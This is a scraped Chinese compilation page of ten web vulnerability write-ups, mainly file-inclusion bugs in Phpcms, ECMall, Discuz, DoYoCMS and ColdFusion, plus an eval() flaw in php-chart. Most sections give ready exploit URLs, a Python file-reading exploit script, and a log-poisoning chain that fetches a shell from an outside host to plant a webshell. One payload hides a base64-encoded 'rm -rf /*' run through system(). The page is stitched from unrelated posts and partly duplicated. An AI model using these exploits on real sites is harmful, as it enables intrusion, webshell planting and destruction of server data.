Phpcms本地文件包含漏洞及利用:任意SQL语句执行

时间:2023年01月05日

/

来源:by0007

/

编辑:本站小编

收藏本文

下载本文

以下是小编收集整理的Phpcms本地文件包含漏洞及利用:任意SQL语句执行,本文共10篇,希望对大家有所帮助。本文原稿由网友“by0007”提供。

篇1:Phpcms本地文件包含漏洞及利用:任意SQL语句执行

最近一直做马后炮了,于是被人鄙视;但没办法,做出头鸟也被人嘲笑!反正这些玩意丢我这里也没啥用,只会烂在硬盘里!于是,只要有点风吹草动,我就公布吧,乌云的文章在此:www.wooyun.org/bug.php?action=view&id=497,文章暂时还没有公布详情...于是...我说一下。

Phpcms2008之前已经暴过很多问题了,但这个本地包含一直无人提起,小明曾经在t00ls里核心版块说过,但其实这个本地包含即使不通过旁注也是有办法利用的,那就是增加管理员或者修改管理员密码!

好了,先说本地包含,有几处,我不知道乌云上说的是哪一处,于是我就当其说的是最明显的那处吧。很明显的漏洞,不知道为啥还在phpcms中出现,先看代码:

文件在wap/index.php

include../include/common.inc.php;

include./include/global.func.php;

$lang= include./include/lang.inc.php;

if(preg_match(/(mozilla|m3gate|winwap|openwave)/i,$_SERVER[HTTP_USER_AGENT]))

{

header(location:../);//判断,调试时先注释掉,from www.oldjun.com

}

wmlHeader($PHPCMS[sitename]);//判断,调试时先注释掉,from www.oldjun.com

$action= isset($action) && !empty($action) ?$action:index;//直接把action带进来了,from www.oldjun.com

if($action)

{

include./include/.$action..inc.php;//本地包含,from www.oldjun.com

}

$html=CHARSET!=utf-8?iconv(CHARSET,utf-8,$html) :$html;

echostr_replace(

,“

”,$html);

wmlFooter;

?>

去掉几处判断条件就可以调试了,action没有进行限制与过滤,然后悲剧的全局:

if($_REQUEST)

{

if(MAGIC_QUOTES_GPC)

{

$_REQUEST = new_stripslashes($_REQUEST);

if($_COOKIE) $_COOKIE = new_stripslashes($_COOKIE);

extract($db->escape($_REQUEST), EXTR_SKIP);

}

else

{

$_POST = $db->escape($_POST);

$_GET = $db->escape($_GET);

$_COOKIE = $db->escape($_COOKIE);

@extract($_POST,EXTR_SKIP);

@extract($_GET,EXTR_SKIP);

@extract($_COOKIE,EXTR_SKIP);

}

if(!defined(IN_ADMIN)) $_REQUEST = filter_xss($_REQUEST, ALLOWED_HTMLTAGS);

if($_COOKIE) $db->escape($_COOKIE);

}

于是可以成功本地包含,剩下来的就是这个本地包含怎么利用的问题了,

包含的文件限制为*.inc.php,phpcms的开发者非常喜欢用这个命名规则,于是好多好多文件都是说明什么.inc.php,随便包含一个有利用价值的即可,随便找找:

formguide/admin/include/fields/datetime/field_add.inc.php

if($dateformat==date)

{

$sql=“ALTER TABLE `$tablename` ADD `$field` DATE NOT NULL DEFAULT 0000-00-00”;

}

elseif($dateformat==datetime)

{

$sql=“ALTER TABLE `$tablename` ADD `$field` DATETIME NOT NULL DEFAULT 0000-00-00 00:00:00”;

}

elseif($dateformat==int)

{

if($format)

$sql=“ALTER TABLE `$tablename`

篇2:利用本地包含漏洞执行任意代码漏洞预警

影响程序: php-chart_v1.0

程序官方: php-charts.com/

缺陷类型: PHP Code Execution.

===============================================================

测试平台系统: Debian squeeze 6.0.6

服务器软件版本: Apache/2.2.16 (Debian)

PHP 5.3.3-7+squeeze14 with Suhosin-Patch (cli) (built: Aug 6 20:08:59)

Copyright (c) - The PHP Group

Zend Engine v2.3.0, Copyright (c) - Zend Technologies

with Suhosin v0.9.32.1, Copyright (c) -2010, by SektionEins GmbH

================================================================

关于程序介绍:

Php-Charts is basically a class which can be used to generate

different charts(Bar, Pie, Doughnut etc.) in different format(PDF, PNG, JPG, HTML)

using different data source(csv, xml, MySQL, MS Sql, MS Access, PostgreSql,

user defined data).

================================================================

缺陷分析

root@debian:/etc/apache2/htdocs/hacker1/wp/chart/chart/wizard# cat url.php

require(”../lib/phpchart.class.php“);

$color_var=array(”txt_col“,”line_col“,”bg_color“);

$cname=$_GET[”type“];

$chart=new PHPChart($cname);

foreach($_GET as $key=>$value)

{

if($value!=”“)

{

if(in_array($key,$color_var))

eval('$chart->'.$key.'=”#'.$value.'“;');

else if($value=='yes')

eval('$chart->'.$key.'=true;');

else if($value=='no')

eval('$chart->'.$key.'=false;');

else if(is_numeric($value))

eval('$chart->'.$key.'='.$value.';');

else

eval('$chart->'.$key.”='“.$value.”';“);

}

}

$chart->genChart();

利用:

root@debian:/tmp# wget ' www.myhack58.com //wp/chart/chart/wizard/url.php?${var_dump($_SERVER)}=IZABEKAILOVEYOUBABY' -O out.txt && cat out.txt

---01-15 21:19:16-- hacker1.own//wp/chart/chart/wizard/url.php?$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY

Resolving hacker1.own... 127.0.0.1

Connecting to hacker1.own|127.0.0.1|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: unspecified [text/html]

Saving to: “out.txt”

[ <=>                                            ] 1,917   --.-K/s in 0s

2013-01-15 21:19:17 (8.56 MB/s) - “out.txt” saved [1917]

Notice: Undefined index: type in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php on line 4

array(28) {

[”DOCUMENT_ROOT“]=>

string(28) ”/etc/apache2/htdocs/hacker1/“

[”GATEWAY_INTERFACE“]=>

string(7) ”CGI/1.1“

[”HTTP_ACCEPT“]=>

string(3) ”*/*“

[”HTTP_CLIENT_IP“]=>

string(9) ”127.0.0.1“

[”HTTP_HOST“]=>

string(11) ”hacker1.own“

[”HTTP_USER_AGENT“]=>

string(21) ”Wget/1.12 (linux-gnu)“

[”HTTP_VIA“]=>

string(77) ”http/1.0 debian[FE800000000000000A0027FFFE077FC6] (ApacheTrafficServer/3.2.0)“

[”HTTP_X_FORWARDED_FOR“]=>

string(9) ”127.0.0.1“

[”PATH“]=>

string(4) ”/bin“

[”PHPRC“]=>

string(14) ”/etc/php5/cgi/“

[”QUERY_STRING“]=>

string(45) ”$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY“

[”REDIRECT_STATUS“]=>

string(3) ”200“

[”REMOTE_ADDR“]=>

string(9) ”127.0.0.1“

[”REMOTE_PORT“]=>

string(5) ”60830“

[”REQUEST_METHOD“]=>

string(3) ”GET“

[”REQUEST_URI“]=>

string(76) ”/wp/chart/chart/wizard/url.php?$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY“

[”SCRIPT_FILENAME“]=>

string(57) ”/etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php“

[”SCRIPT_NAME“]=>

string(30) ”/wp/chart/chart/wizard/url.php“

[”SERVER_ADDR“]=>

string(9) ”127.0.0.1“

[”SERVER_ADMIN“]=>

string(21) ”webmaster@hacker1.own“

[”SERVER_NAME“]=>

string(11) ”hacker1.own“

[”SERVER_PORT“]=>

string(2) ”80“

[”SERVER_PROTOCOL“]=>

string(8) ”HTTP/1.1“

[”SERVER_SIGNATURE“]=>

string(0) ”“

[”SERVER_SOFTWARE“]=>

string(6) ”Apache“

[”UNIQUE_ID“]=>

string(24) ”UPYOJH8AAQEAAE8eNfMAAAAC“

[”PHP_SELF“]=>

string(30) ”/wp/chart/chart/wizard/url.php“

[”REQUEST_TIME“]=>

int(1358302756)

}

Notice: Undefined variable: in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php(20) : eval()'d code on line 1

Fatal error: Cannot access empty property in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php(20) : eval()'d code on line 1

root@debian:/tmp#

Example 2:

hacker1.own//wp/chart/chart/wizard/url.php?&123&${var_dump(system(base64_decode(cm0gLXJmIC8q)))}=123456LoL

=====================ENDS HERE============================

篇3:Phpcms 2007 远程文件包含漏洞

伪代码:

$rootdir = str_replace(”\\\\“, '/', dirname(__FILE__));

//下面就是require $rootdir.'/include/common.inc.php';引入的代码

@extract($_POST, EXTR_OVERWRITE);

@extract($_GET, EXTR_OVERWRITE);

unset($_POST, $_GET);

require $rootdir.'/web/admin/include/common.inc.php

?>

不知道看到这里,看官们有什么感想?如果这里用grep等软件去找静态的上跟踪这个的话障很再可能就会漏调着可能分析得到的结果是:

$rootdir = str_replace(”\\\\“, '/', dirname(__FILE__));

require $rootdir.'/include/common.inc.php'

require $rootdir.'/web/admin/include/common.inc.php

一看$rootdir被过滤了,就会认为这里安全了?

所以一味的grep等静态去找,是找不到这样的bug的上...

来个“马后炮”,对于这样的上用灰盒测试可能效果很好:就是先看代码看common.inc.php这个躯干里发现用变量覆盖,然后黑盒去找跑那些变量可以覆盖.....

篇4:phpcms本地文件包括及利用(执行任意SQL脚本)和修复

文件wap/index.php

include '../include/common.inc.php';

include './include/global.func.php';

$lang = include './include/lang.inc.php';

if(preg_match('/(mozillam3gatewinwapopenwave)/i', $_SERVER['HTTP_USER_AGENT']))

{

header('location:../');

}

wmlHeader($PHPCMS['sitename']);

$action = isset($action) && !empty($action) ? $action : 'index';

if($action)

{

include './include/'.$action.'.inc.php';

}

$html = CHARSET != 'utf-8' ? iconv(CHARSET, 'utf-8', $html) : $html;

echo str_replace('

', ”

\\n“, $html);

wmlFooter;

?>

action 变量没有判断,造成本地文件包含漏洞,

利用(其中之一):

包含目录include\\fields\\areaid 下任一文件,即可执行任意SQL脚本,

如:field_add.inc.php

if(!$maxlength) $maxlength = 255;

$maxlength = min($maxlength, 255);

$sql = ”ALTER TABLE `$tablename` ADD `$field` VARCHAR( $maxlength ) NOT NULL DEFAULT '$defaultvalue'“;

$db->query($sql);

?>

tablename 等变量可以直接传入。 当然,这个访问需要用Opera等浏览器访问。

用Opera浏览器访问

www.phpcms.cn/wap/index.php?action=../../include/fields/areaid/field_add&tablename=xx

6:

7:

8:

9:MySQL Query :ALTER TABLE `xx` ADD `` VARCHAR( 255 ) NOT NULL DEFAULT ''

MySQL Error :Table 'phpcms.xx' doesn't exist

MySQL Errno :1146

Message :MySQL Query Error

修复方案:

action 变量判断

篇5:mobile9 本地文件包含漏洞

因为他是base64编码的手工测试很麻烦就写了个小工具,高手飘过

import urllib2,sys

import httplib

import base64,time

if len(sys.argv) <= 2:

print ”=“ * 30

print ”mobile9.com local exploit by cnb|rd Qq:441303228“

print ”Email:Linuxrootkit@gmail.com“

print ”=“ * 30

print

print ”usage: “ + sys.argv[0] + ” hostname “ + ” local file “

print

sys.exit(1)

host = sys.argv[1]

path = sys.argv[2]

file = sys.argv[3]

h = httplib.HTTP(host)

h.putrequest(”HEAD“, path)

h.putheader(”Host“, host)

h.endheaders()

okresp, reason, headers = h.getreply()

print ”=“ * 30

print host + ” Server Banner is “ + headers.get(”Server“)

print ”=“ * 30

print ”Local file to read is “ + file

time = int(time.time())

serverpath = ”/download/content_delivery.php?key=“

str = str(file) + ”|“ + str(time) + ”|“

print str

base64file = base64.urlsafe_b64encode(str)

requestpath = serverpath + base64file

print base64file

print requestpath

f = httplib.HTTPConnection(host)

f.request('GET', requestpath)

print f.getresponse().read()

f.close

CSDN博客cnbird2008

篇6:ECMall本地文件包含漏洞

by Ryat

bbs.wolvez.org

respond.php 48行

$pay_code = !empty($_REQUEST['code']) ? trim($_REQUEST['code']) : '';

...

$plugin_file = ROOT_PATH . '/includes/payment/' . $pay_code . '.php';

if (is_file($plugin_file))

{

include_once($plugin_file);很明显的一个bug

利用的话可以参考flyh4t提到过[bbs.wolvez.org/topic/56/]的一个思路:

可以通过旁注拿个shell,然后写个main.php到/tmp目录下,然后包含之

篇7:cfm本地包含漏洞利用

1.读取metabase.xml/web.xml /password.properities敏感文件,得知www路径,coldfusion路径,coldfusion后台加密密码

2.本地包含coldfusion日志,写cfm一句话,得到WEBSHELL

 /index.cfm?action=../../../../../../../../../../CFusionMX7/logs/application.log%00

 /index.cfm?action=

 /index.cfm?action=..\\..\\..\\CFusionMX7\\logs\\application.log%00&u=www.pentest.cc/shell.txt&p=c:\\inetpub\\wwwroot\\&f=shell.cfm

成功条件:

1.WEB目录可写

2.coldfusion目录和web目录在同一个分区

3.多个牛人的群策群力

未解决的问题:

1.iis的日志会把空格变成+,不知道怎么绕过

2.coldfusion会把单引号和双引号加倍处理,不知道怎么绕过去(师傅也遇到这个问题了,哈哈)

摘自 mickey's blog

篇8:Phpcms 远程文件包含漏洞漏洞预警

[zz]Phpcms 2007 远程文件包含漏洞

url:www.wolvez.org/forum/redirect.php?tid=182&goto=lastpost

这个漏洞是一个比较普通的变量覆盖漏洞,这里转一下是由于发现这个漏洞如果是白盒那要都仔细看代码才行 :)

引用 :

------------------------------------------------

//从头开始看

$rootdir = str_replace(”\\\\“, '/', dirname(__FILE__));

require $rootdir.'/include/common.inc.php';//通过extract可以覆盖$rootdir为任意值

require PHPCMS_ROOT.'/languages/'.$CONFIG['adminlanguage'].'/yp_admin.lang.php';

if(!$_username) showmessage($LANG['please_login'],$PHPCMS['siteurl'].'member/login.php?forward='.$PHP_URL);

require $rootdir.'/web/admin/include/common.inc.php ';//触发远程文件包含

------------------------------------------------

注意看里面的2个require,第一个那引进的extract的代码,第2个require才导致漏洞的函数,

Phpcms 2007 远程文件包含漏洞漏洞预警

伪代码:

$rootdir = str_replace(”\\\\“, '/', dirname(__FILE__));

//下面就是require $rootdir.'/include/common.inc.php';引入的代码

@extract($_POST, EXTR_OVERWRITE);

@extract($_GET, EXTR_OVERWRITE);

unset($_POST, $_GET);

require $rootdir.'/web/admin/include/common.inc.php

?>

不知道看到这里,看官们有什么感想?如果这里用grep等软件去找静态的上跟踪这个的话障很再可能就会漏调着可能分析得到的结果是:

$rootdir = str_replace(”\\\\“, '/', dirname(__FILE__));

require $rootdir.'/include/common.inc.php'

require $rootdir.'/web/admin/include/common.inc.php

一看$rootdir被过滤了,就会认为这里安全了?

所以一味的grep等静态去找,是找不到这样的bug的上...

来个“马后炮”,对于这样的上用灰盒测试可能效果很好:就是先看代码看common.inc.php这个躯干里发现用变量覆盖,然后黑盒去找跑那些变量可以覆盖.....

篇9:DISCUZX1.5 本地文件包含漏洞漏洞预警

DISCUZX1.5 本地文件包含,当然是有条件的,就是使用文件作为缓存,

config_global.php

$_config['cache']['type'] = 'file';

function cachedata($cachenames) {

......

$isfilecache = getglobal('config/cache/type') == 'file';

......

if($isfilecache) {

$lostcaches = array;

foreach($cachenames as $cachename) {

if(!@include_once(DISCUZ_ROOT.'./data/cache/cache_'.$cachename.'.php')) {

$lostcaches[] = $cachename;

}

}

......

}

地址:

localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/uc

localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/uc

Authracation has expiried

执行了 api/uc.php 页面代码了,

作者: Jannock

篇10:DOYOcms 本地文件包含漏洞漏洞预警

这是这套CMS ,这个很简洁,。。

这里的$handle_controller = syClass($__controller, null, $GLOBALS['G_DY'][”controller_path“].'/'.$__controller.”.php“);

接下来往下看

这里的$sdir 没有经过任何过滤来的,然后看下这个import函数

这里直接包含了该文件

require($sfilename);

所以结合前面的

$GLOBALS['G_DY'][”controller_path“].'/'.$__controller.”.php\"

$__controller是我们可控的变量,也没有经过任何过滤,我们想可以通过%00截断,然后包含我们上传的文件就达到了目的

这也就是鸡肋的地方了,如果要截断,要保证php版本小于5.4(我自己也记不太清了) 因为高版本的修复了该截断的漏洞,

然后这里要保证魔术常量是关闭的。

下图就是成功包含的图

Exp:

localhost/test/index.php?c=../uploads/2012/06/1.gif%00&a=type&tid=1

phpcms本地文件包括及利用(执行任意SQL脚本)和修复

如何将sql执行的错误消息记录到本地文件中

WebPageTest任意php文件上传漏洞预警

下载Phpcms本地文件包含漏洞及利用:任意SQL语句执行(精选10篇)
Phpcms本地文件包含漏洞及利用:任意SQL语句执行.doc
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档
最新范文更多
    热门文章
      猜你喜欢
      点击下载本文文档